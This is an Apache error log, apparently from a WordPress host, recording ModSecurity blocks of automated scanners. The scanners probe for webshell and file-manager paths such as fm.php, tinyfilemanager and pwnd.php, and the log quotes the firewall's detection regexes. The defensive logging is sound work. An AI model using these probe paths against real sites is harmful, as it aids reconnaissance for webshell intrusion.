[Fri Feb 06 08:29:08.189837 2026] [:error] [pid 34582:tid 34593] [client 20.220.62.160:64886] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aYU11ODeJq1JGssYG6z0YgAAAQg"]
[Fri Feb 06 08:29:10.407803 2026] [:error] [pid 1773:tid 1794] [client 20.220.62.160:65469] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aYU11jYbySBHYmKOdJ8orQAAAMs"]
[Fri Feb 06 08:29:11.042277 2026] [:error] [pid 1664:tid 1700] [client 20.220.62.160:65429] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/za2.php"] [unique_id "aYU11-_0lM6yA3VnvQXjLwAAAEA"]
[Fri Feb 06 08:29:11.646993 2026] [:error] [pid 34582:tid 34589] [client 20.220.62.160:64889] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/za2.php"] [unique_id "aYU11-DeJq1JGssYG6z0ZgAAAQQ"]
[Fri Feb 06 08:29:12.383763 2026] [:error] [pid 1664:tid 1704] [client 20.220.62.160:65526] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/za2.php"] [unique_id "aYU12O_0lM6yA3VnvQXjMgAAAEQ"]
[Fri Feb 06 08:29:13.004625 2026] [:error] [pid 34582:tid 34593] [client 20.220.62.160:65445] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/za2.php"] [unique_id "aYU12eDeJq1JGssYG6z0aQAAAQg"]
[Fri Feb 06 08:29:14.049751 2026] [:error] [pid 34582:tid 34599] [client 20.220.62.160:65460] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aYU12uDeJq1JGssYG6z0bQAAAQ4"]
[Fri Feb 06 08:29:14.845350 2026] [:error] [pid 34582:tid 34594] [client 20.220.62.160:64890] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aYU12uDeJq1JGssYG6z0bwAAAQk"]
[Fri Feb 06 08:29:15.581802 2026] [:error] [pid 1773:tid 1791] [client 20.220.62.160:65430] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aYU12zYbySBHYmKOdJ8ovAAAAMg"]
[Fri Feb 06 08:29:16.260083 2026] [:error] [pid 1665:tid 1730] [client 20.220.62.160:65518] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aYU13DYZLE6gThXvZMoDdgAAAIM"]
[Fri Feb 06 08:29:17.030443 2026] [:error] [pid 13650:tid 13671] [client 20.220.62.160:65466] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmanz.php"] [unique_id "aYU13RoU-_lpgnGeX7Wk6wAAAVM"]
[Fri Feb 06 08:29:17.851978 2026] [:error] [pid 1664:tid 1709] [client 20.220.62.160:65426] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmanz.php"] [unique_id "aYU13e_0lM6yA3VnvQXjOgAAAEk"]
[Fri Feb 06 08:29:37.067522 2026] [:error] [pid 1773:tid 1789] [client 20.220.62.160:63459] [client 20.220.62.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aYU18TYbySBHYmKOdJ8o6AAAAMY"]
[Fri Feb 06 08:29:37.893159 2026] [autoindex:error] [pid 1664:tid 1700] [client 20.220.62.160:64794] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 08:29:38.099464 2026] [:error] [pid 1664:tid 1705] [client 20.220.62.160:64794] [client 20.220.62.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/library/shlo.php"] [unique_id "aYU18u_0lM6yA3VnvQXjcgAAAEU"]
[Fri Feb 06 08:30:02.230987 2026] [:error] [pid 34582:tid 34600] [client 20.220.62.160:64790] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puibr.php"] [unique_id "aYU2CuDeJq1JGssYG6z0vgAAAQ8"]
[Fri Feb 06 08:30:02.734408 2026] [:error] [pid 1665:tid 1740] [client 20.220.62.160:64857] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puibr.php"] [unique_id "aYU2CjYZLE6gThXvZMoDugAAAI0"]
[Fri Feb 06 08:30:03.206998 2026] [:error] [pid 1663:tid 1673] [client 20.220.62.160:65502] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puibr.php"] [unique_id "aYU2C19EQrJaKkABjK8KYAAAAAA"]
[Fri Feb 06 08:30:03.658916 2026] [:error] [pid 1664:tid 1720] [client 20.220.62.160:65489] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puibr.php"] [unique_id "aYU2C-_0lM6yA3VnvQXjtgAAAFQ"]
[Fri Feb 06 08:30:04.119258 2026] [:error] [pid 1664:tid 1715] [client 20.220.62.160:64791] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/past1.php"] [unique_id "aYU2DO_0lM6yA3VnvQXjuAAAAE8"]
[Fri Feb 06 08:30:04.568882 2026] [:error] [pid 13650:tid 13658] [client 20.220.62.160:64771] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/past1.php"] [unique_id "aYU2DBoU-_lpgnGeX7WlTAAAAUY"]
[Fri Feb 06 08:30:04.982897 2026] [:error] [pid 1773:tid 1802] [client 20.220.62.160:63366] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/past1.php"] [unique_id "aYU2DDYbySBHYmKOdJ8pJgAAANM"]
[Fri Feb 06 08:30:05.418988 2026] [:error] [pid 1773:tid 1803] [client 20.220.62.160:65505] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/past1.php"] [unique_id "aYU2DTYbySBHYmKOdJ8pKQAAANQ"]
[Fri Feb 06 08:30:05.930296 2026] [:error] [pid 13650:tid 13659] [client 20.220.62.160:64887] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smp.php"] [unique_id "aYU2DRoU-_lpgnGeX7WlUQAAAUc"]
[Fri Feb 06 08:30:06.396171 2026] [:error] [pid 13650:tid 13668] [client 20.220.62.160:65451] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smp.php"] [unique_id "aYU2DhoU-_lpgnGeX7WlUwAAAVA"]
[Fri Feb 06 08:30:06.854947 2026] [:error] [pid 34582:tid 34590] [client 20.220.62.160:64885] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smp.php"] [unique_id "aYU2DuDeJq1JGssYG6z0wwAAAQU"]
[Fri Feb 06 08:30:07.271607 2026] [:error] [pid 1773:tid 1784] [client 20.220.62.160:64856] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smp.php"] [unique_id "aYU2DzYbySBHYmKOdJ8pMAAAAMM"]
[Fri Feb 06 12:07:29.883978 2026] [:error] [pid 3381:tid 3417] [client 170.106.163.84:49196] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYVpAS81zqRg96ZREgiqsAAAAEQ"]
[Fri Feb 06 13:14:23.413126 2026] [:error] [pid 3477:tid 3492] [client 151.240.33.19:60568] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aYV4r7L0Hdh40C7HYgXLdQAAAM0"]
[Fri Feb 06 13:14:35.280280 2026] [:error] [pid 3381:tid 3428] [client 151.240.33.19:40738] [client 151.240.33.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.240.33.19, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYV4uy81zqRg96ZREgjLIgAAAE8"]
[Fri Feb 06 13:14:53.261546 2026] [proxy_fcgi:error] [pid 3381:tid 3432] [client 151.240.33.19:40738] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 13:15:11.548800 2026] [:error] [pid 3381:tid 3420] [client 151.240.33.19:40738] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aYV43y81zqRg96ZREgjLtgAAAEc"]
[Fri Feb 06 13:15:15.520291 2026] [:error] [pid 3380:tid 3397] [client 151.240.33.19:38744] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aYV44xFAlUvBGSBK2jesYwAAAA0"]
[Fri Feb 06 13:15:40.173919 2026] [:error] [pid 3382:tid 3445] [client 149.88.106.178:55202] [client 149.88.106.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aYV4_MIgU1HR0rhYrE-nlwAAAIU"]
[Fri Feb 06 13:15:44.253886 2026] [:error] [pid 3380:tid 3384] [client 149.88.106.178:35906] [client 149.88.106.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-atom.php"] [unique_id "aYV5ABFAlUvBGSBK2jesqQAAAAA"]
[Fri Feb 06 13:15:55.343995 2026] [:error] [pid 3513:tid 3533] [client 149.88.106.178:39098] [client 149.88.106.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aYV5CzSw3-HAlzpqSxw07gAAAVI"]
[Fri Feb 06 13:16:22.521245 2026] [:error] [pid 3381:tid 3436] [client 149.88.106.178:52166] [client 149.88.106.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aYV5Ji81zqRg96ZREgjMHAAAAFc"]
[Fri Feb 06 13:16:42.905824 2026] [:error] [pid 3380:tid 3386] [client 149.88.106.178:47072] [client 149.88.106.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aYV5OhFAlUvBGSBK2jetwAAAAAI"]
[Fri Feb 06 13:16:53.264685 2026] [autoindex:error] [pid 3477:tid 3498] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:16:57.315480 2026] [autoindex:error] [pid 3477:tid 3503] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:16:57.496042 2026] [autoindex:error] [pid 3477:tid 3487] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:02.057480 2026] [autoindex:error] [pid 3477:tid 3487] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:02.257420 2026] [autoindex:error] [pid 3477:tid 3481] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:02.615954 2026] [autoindex:error] [pid 3477:tid 3479] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:02.797908 2026] [autoindex:error] [pid 3477:tid 3501] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:04.859274 2026] [autoindex:error] [pid 3477:tid 3489] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:05.059948 2026] [autoindex:error] [pid 3477:tid 3487] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:07.096065 2026] [autoindex:error] [pid 3477:tid 3484] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:07.274299 2026] [autoindex:error] [pid 3477:tid 3503] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:09.311692 2026] [autoindex:error] [pid 3477:tid 3490] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:09.489693 2026] [autoindex:error] [pid 3477:tid 3497] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:09.671949 2026] [autoindex:error] [pid 3477:tid 3500] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:09.853030 2026] [autoindex:error] [pid 3477:tid 3495] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:11.982096 2026] [autoindex:error] [pid 3477:tid 3498] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:12.160234 2026] [autoindex:error] [pid 3477:tid 3487] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
